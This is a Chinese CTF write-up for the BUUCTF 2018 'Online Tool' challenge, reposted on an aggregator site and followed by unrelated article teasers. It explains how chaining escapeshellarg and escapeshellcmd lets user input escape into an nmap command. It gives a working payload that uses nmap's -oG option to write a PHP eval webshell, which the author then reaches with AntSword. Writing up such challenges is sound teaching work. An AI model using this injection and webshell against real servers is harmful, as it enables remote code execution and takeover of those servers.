命令执行 [BUUCTF 2018]Online Tool1

打开题目

 我们代码审计一下

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

如果存在xxf头且不为空,则将xxf头内容(真实的客户端ip)赋给ROMOTE_ADDR(代理服务器传过来的ip地址)

这段代码主要是为了处理通过代理服务器访问网站时获取正确的客户端IP地址

这里需要注意的地方:

1.没有对XXF的值进行过滤,可能存在XXF注入攻击

2.XXF头部可以被客户端伪造

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);

如果get姿势传入的host为空,则会使用highlight_file(__FILE__)函数来将当前文件的源代码高亮显示输出。

else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

如果get姿势传入的host值不为空,则用escapeshellarg函数处理get传入的host值,再交由escapeshellcmd函数处理

将字符串glzjin和ROMOTE_ADDR连接以后进行md5加密然后赋值给沙盒,并输出you are in shadbox和md5加密拼接后的内容

@mkdir 函数创建以MD5散列值为名称的目录。@ 符号用于抑制可能的错误消息。

使用 chdir 函数将当前工作目录更改为新创建的沙盒目录。

使用 system 函数执行 nmap 命令扫描host值,-T5设置扫描速度,-sT设置tcp连接扫描,-Pn设置绕过ping扫描,--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时。-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

所以总结思路

  1. HTTP_X_FORWARDED_FOR的会获取真实的客户端ip值会和glzjin一起md5加密作为我们后续上传webshell的路径
  2. GET传入host参数通过此传参点来利用nmap上传文件(-oG)

127.0.0.1 ' -oG 经过escapeshellarg处理变成   ' 127.0.0.1 ' \ '    ' -oG '  (分成两部分)

'127.0.0.1 ' \ '    ' -oG ' 经过escapeshellcmd处理变成   '127.0.0.1 ' \\ '  '-oG \ '  (将不成对的单引号及任意\进行添加\的操作)

所以我们的payload应该为

/?host=' <?= @eval($_POST["hack"]);?> -oG hack.php '

通过host传入后还返回了这个sandbox的值

我们蚁剑连接一下

蚁剑连接的目录为

sandbox+一句话木马名

在sandbox上也能发现我们几次测试传上去的木马

在根目录下找到了flag

知识点:
REMOTE_ADDR

表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP

x_forwarded_for

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP

mkdir

表示如果当前路径下不存在该目录(文件夹),则新建该目录(文件夹)。

语法结构:$ mkdir [选项] [目录]

如:mkdir test       //在当前路径下新建一个test文件夹

chdir()

chdir函数用于改变当前工作目录

nmap命令

nmap -T1~6 192.168.96.4  //设置扫描速度,一般T4足够。

nmap -sT 192.168.96.4  //TCP连接扫描,不安全,慢

nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描

--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时

-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

-oG 选项用于生成可读性强的、以普通格式表示的输出。

使用 -oG 选项时,可以将扫描结果保存到一个文本文件中,然后使用其他工具或脚本对该文件进行进一步的分析。这个选项的输出包含有关主机、端口和服务的信息,以及它们的状态(开放、关闭、过滤等)

例如;   nmap -oG output.txt target  //将扫描名为 "target" 的目标,并将结果保存到名为 "output.txt" 的文件中

知识点源于:https://www.cnblogs.com/luxiaojun/p/10451860.html

Nmap常用命令总结_nmap 命令-CSDN博客

[BUUCTF 2018]Online Tool1-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/224544.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用蜘蛛池蚂蚁SEO

​蜘蛛池是一种利用搜索引擎爬虫进行推广营销的方式。它的核心是建立一个能够吸引搜索引擎爬虫的网站群&#xff0c;这些网站能够产生大量的优质内容&#xff0c;并形成一个巨大的网站群&#xff0c;从而吸引更多的搜索引擎爬虫。 如何联系蚂蚁seo&#xff1f; baidu搜索&…

【C语言(十二)】

数据在内存中的存储 一、整数在内存中的存储 整数的2进制表示方法有三种&#xff0c;即 原码、反码和补码 有符号的整数&#xff0c;三种表示方法均有符号位和数值位两部分&#xff0c;符号位都是用0表示“正”&#xff0c;用1表示“负”&#xff0c;最高位的⼀位是被当做符号…

赠与婚外情人1百余万,主张全额返还获支持

丈夫婚内出轨&#xff0c;并瞒着妻子给情人转账177万余元&#xff0c;最终被妻子发现诉至法院。近日&#xff0c;湖南省湘阴县人民法院审理了一起不当得利案件&#xff0c;认定丈夫的赠与行为无效&#xff0c;支持了妻子全额返还的诉讼请求。   男子钱某与女子赵某于2020年6月…

无参数RCE知识点

什么是无参数RCE&#xff1f; 无参rce&#xff0c;就是说在无法传入参数的情况下&#xff0c;仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果 核心代码 if(; preg_replace(/[^\W]\((?R)?\)/, , $_GET[code])) { eval($_GET[code]); } 这段代码的核心就是只…

西工大计院计算机系统基础实验二(配置gdb插件)

第二次实验是二进制炸弹实验&#xff0c;为了简化操作&#xff0c;并且让大家接下来能够按照作者之前已经为网安院写好的博客西工大网络空间安全学院计算机系统基础实验二&#xff08;清楚实验框架及phase_1&#xff09;-CSDN博客来走&#xff0c;大家需要下载一款好用的gdb插件…

java基础进阶之List和Set和Map

1、list List本身是一个接口&#xff0c;该接口继承自Collection接口&#xff0c;它有两个常用的实现子类ArrayList和LinkedList。从功能特性上来看&#xff0c;List是有序、可重复的单列集合&#xff0c;集合中的每个元素都有对应的顺序索引&#xff0c;我们可以通过该索引来访…

canvas基本绘制对象

目录 绘制画布 设置画布 绘制圆形 绘制矩形填充渐变色 绘制文字及文字样式 绘制画布 <canvas id"canvas" width"800" height"600"></canvas> 设置画布 //获得画布元素var canvasdocument.getElementById(canvas);var ctxca…

基于Java (spring-boot)的二手物品交易平台

​ 一、项目介绍 1、管理员功能 &#xff08;1&#xff09;登录&#xff1a;管理员能够根据账号访问系统。 &#xff08;2&#xff09;用户管理&#xff1a;管理员可以添加、删除、修改用户信息&#xff0c;查看用户列表&#xff0c;对用户进行管理和控制。例如&#xff0c…

Python将Labelme文件的标注信息绘制到图片上

Python将Labelme文件的标注信息绘制到图片上 前言前提条件相关介绍实验环境Python将Labelme文件的标注信息绘制到图片上代码实现输出结果 前言 由于本人水平有限&#xff0c;难免出现错漏&#xff0c;敬请批评改正。更多精彩内容&#xff0c;可点击进入Python日常小操作专栏、O…

利用docker部署Node-RED

利用Docker部署Node-RED可以通过以下步骤进行&#xff1a; 1. 安装Docker&#xff1a;首先&#xff0c;确保你的计算机上已经安装了Docker。你可以从Docker官网下载并安装适合你操作系统的版本。 2. 创建Docker镜像&#xff1a;在Dockerfile中&#xff0c;编写一个包含Node-RED…

Java面试整理-多线程

Java多线程(Java Multithreading)是Java编程语言中的一个核心概念,它允许程序同时执行多个任务。在多线程环境下,CPU可以在不同的线程之间迅速切换,使得似乎多个任务在同时进行,这对于提高应用程序的性能和响应速度非常重要。 在深入讨论多线程之前,我们可以先对比一下线…

react dom的diff理解及性能优化

diff的三大过程 当某个值变化时&#xff0c;他从根组件寻找 (key,state,props,context) 当父组件稳定时&#xff0c;react会跳过子组件的props的对比 只有当当前组件值改变时&#xff0c;从他开始&#xff0c;所有的子孙节点都会对比props props是全等比较&#xff0c;所以&am…

windows 创建SSH公钥

1、 运行电脑终端 powershell 2、检查你的电脑是否已经有 SSH key cd ~/.ssh ls 3、创建一个 SSH key ssh-keygen -t rsa -C “your_emailexample.com” or ssh-keygen -t ed25519 -C “your_emailexample.com” 代码参数含义&#xff1a; -t 指定密钥类型&#xff0c;默…

怎么把图片转文字?这几个图片转文字方法一定要知道!

怎么把图片转文字&#xff1f;无论是从书籍、网络还是社交媒体上&#xff0c;我们经常需要从图片中提取文字来进行复制、编辑或翻译。手动操作耗时耗力&#xff0c;效率低下&#xff0c;那么怎么把图片转文字呢&#xff1f;今天我将介绍三种不同的方法来实现图片转文字。 图片转…

OceanMind海睿思案例入选第二届中国数据治理年会“DCMM百项优秀案例”

近日&#xff0c;中国电子信息行业联合会在北京成功举办“第二届中国数据治理年会”。 本届大会以“数据强基、智领未来”为主题&#xff0c;汇聚我国数据治理领域的资深专家、学者、企业大咖同台论道&#xff0c;共话数据未来的发展与创新。 中新赛克海睿思作为DCMM3级乙方代…

HPM6750系列--总章

本栏目介绍先楫半导体出品的HPM6750芯片&#xff08;基于HPM6750evkmini开发板&#xff09; ​​​​​​​ 内容概述 HPM6750系列--第一篇 初识HPM6750 介绍HPM6750芯片信息&#xff0c;包括主频、内存、外设配置&#xff0c;并列举了各种开发工具和开发资源。 HPM6750系列--…

​urllib.parse 用于解析 URL​

源代码: Lib/urllib/parse.py 该模块定义了一个标准接口&#xff0c;用于将统一资源定位符&#xff08;URL&#xff09;字符串拆分为不同部分&#xff08;协议、网络位置、路径等&#xff09;&#xff0c;或将各个部分组合回 URL 字符串&#xff0c;并将“相对 URL”转换为基于…

Cloudflare始终使用HTTPS且带参数跳转到www的域名

文章目录 设置教程设置图跳转实测 设置教程 关闭 SSL/TLS -> 边缘证书 的 Always Use HTTPS 规则 -> 页面规则 -> URL: http://www.example.com/* 设置成始终使用HTTPS 规则 -> 页面规则 -> URL: example.com/* 设置成 转发URL301重定向到 to https://www.ex…

气象监测与流程分析大屏,更有效地保护人们的生命和财产安全!

气象变化与我们的生活息息相关&#xff0c;随着时代的变迁和科技的飞速发展&#xff0c;气象监测正逐渐迈入数字化的时代。传统的气象观测方式已经无法满足日益增长的需求&#xff0c;数字化的气象监测成为了必然的选择。通过数字化技术的应用&#xff0c;气象数据的采集、传输…

简约大气视频制作模板PR剪辑素材PR项目工程文件

Premiere Pro模板&#xff0c;简约大气视频剪辑素材PR项目工程文件&#xff08;包含手机竖屏分辨率&#xff09;&#xff0c;包含24个媒体占位符和9个文本占位符。可以编辑和自定义文本占位符和媒体占位符。用来展示照片视频制作。包含视频教程。 来自PR模板网&#xff1a;http…